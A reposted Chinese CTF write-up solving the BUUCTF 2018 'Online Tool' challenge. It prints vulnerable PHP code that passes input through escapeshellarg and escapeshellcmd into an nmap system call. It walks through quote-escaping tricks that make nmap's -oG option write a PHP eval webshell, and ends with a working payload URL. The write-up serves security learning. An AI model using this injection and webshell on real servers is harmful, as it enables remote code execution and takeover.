我是靠谱客的博主 妩媚母鸡,最近开发中收集的这篇文章主要介绍『CTF Web复现』[BUUCTF 2018]Online Tool利用点代码审计解题Payload完,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文章目录

  • 利用点
  • 代码审计
  • 解题
    • nmap写文件
    • escapeshellarg() + escapeshellcmd()使用不当
  • Payload

利用点

  • nmap写文件
  • escapeshellarg() + escapeshellcmd()使用不当

代码审计

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

传入的GET参数$host经过escapeshellarg和escapeshellcmd处理,然后拼接到已有的nmap指令执行

解题

nmap写文件

escape转义了特殊符号,这步是不能跳出来的,只能寄希望于nmap;查阅help文档发现nmap有output写文件的功能,那么就可以写入一句话木马来RCE
在这里插入图片描述
在这里插入图片描述

可以通过-oN-oG参数写入文件

nmap '<?php eval($_POST[a]);?>' -oN 1.php

在这里插入图片描述
那就先试试-oN

escapeshellarg() + escapeshellcmd()使用不当

起一个本地环境

<?php
show_source(__FILE__);
$cmd = $_GET["cmd"];
echo '</br>';
echo $cmd;
$cmd = escapeshellarg($cmd);
echo '</br>';
echo $cmd;
$cmd = escapeshellcmd($cmd);
echo '</br>';
echo $cmd;
echo '</br>';
echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$cmd;

直接传入'<?php eval($_POST[a]);?>' -oN 1.php

[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?>' -oN 1.php
'' -oN 1.php
''''''' -oN 1.php'
''\''<?php eval($_POST[a]);?>'\'' -oN 1.php'
nmap -T5 -sT -Pn --host-timeout 2 -F ''\''<?php eval($_POST[a]);?>'\'' -oN 1.php'

执行的命令可以简化为:

nmap  <?php eval($_POST[a]); ?>'\'' -oN 1.php'

可以看见两个由于两个函数依次处理,会造成后部有引号残留问题导致命令被截断

PHP escapeshellarg()+escapeshellcmd() 之殇

那么我们将引号从-oN之前转移到最后,即传入'<?php eval($_POST[a]);?> -oN 1.php'

[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php'
' -oN 1.php'
'''' -oN 1.php''''
''\'' <?php eval($_POST[a]);?> -oN 1.php'\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' <?php eval($_POST[a]);?> -oN 1.php'\'''

相当于直接运行:

nmap  <?php eval($_POST[a]);?> -oN 1.php'\'

但是,这一步出错了,在于写文件名把最后的斜杠写进去了
在这里插入图片描述
那么我们只要在末尾引号前加一个空格即可:传入'<?php eval($_POST[a]);?> -oN 1.php ',目的是截断引号

[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php '
' -oN 1.php '
'''' -oN 1.php ''''
''\''<?php eval($_POST[a]);?> -oN 1.php '\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\''<?php eval($_POST[a]);?> -oN 1.php '\'''

相当于直接运行:

nmap  <?php eval($_POST[a]);?> -oN 1.php '\'

这里的文件名就正常了
在这里插入图片描述
上传后提示出错,应该是由于-oN写入了所有提示信息,因此写入无效的句点
在这里插入图片描述
这些无效的句点被PHP解析了所以出错了

那么我们换成-oG参数,我们可以看一下两个参数写入的区别:
在这里插入图片描述
使用-oG的内容没有报错信息,那么写入的一句话木马就是完整且不会解析出错的,因此我们传入'<?php eval($_POST[a]);?> -oG 1.php ',蚁剑连接即可
在这里插入图片描述

Payload

[GET]http://URL/?host='<?php eval($_POST[a]);?> -oG 1.php '

欢迎在评论区留言,欢迎关注我的CSDN @Ho1aAs

最后

以上就是妩媚母鸡为你收集整理的『CTF Web复现』[BUUCTF 2018]Online Tool利用点代码审计解题Payload完的全部内容,希望文章能够帮你解决『CTF Web复现』[BUUCTF 2018]Online Tool利用点代码审计解题Payload完所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(47)

评论列表共有 0 条评论

立即
投稿
返回
顶部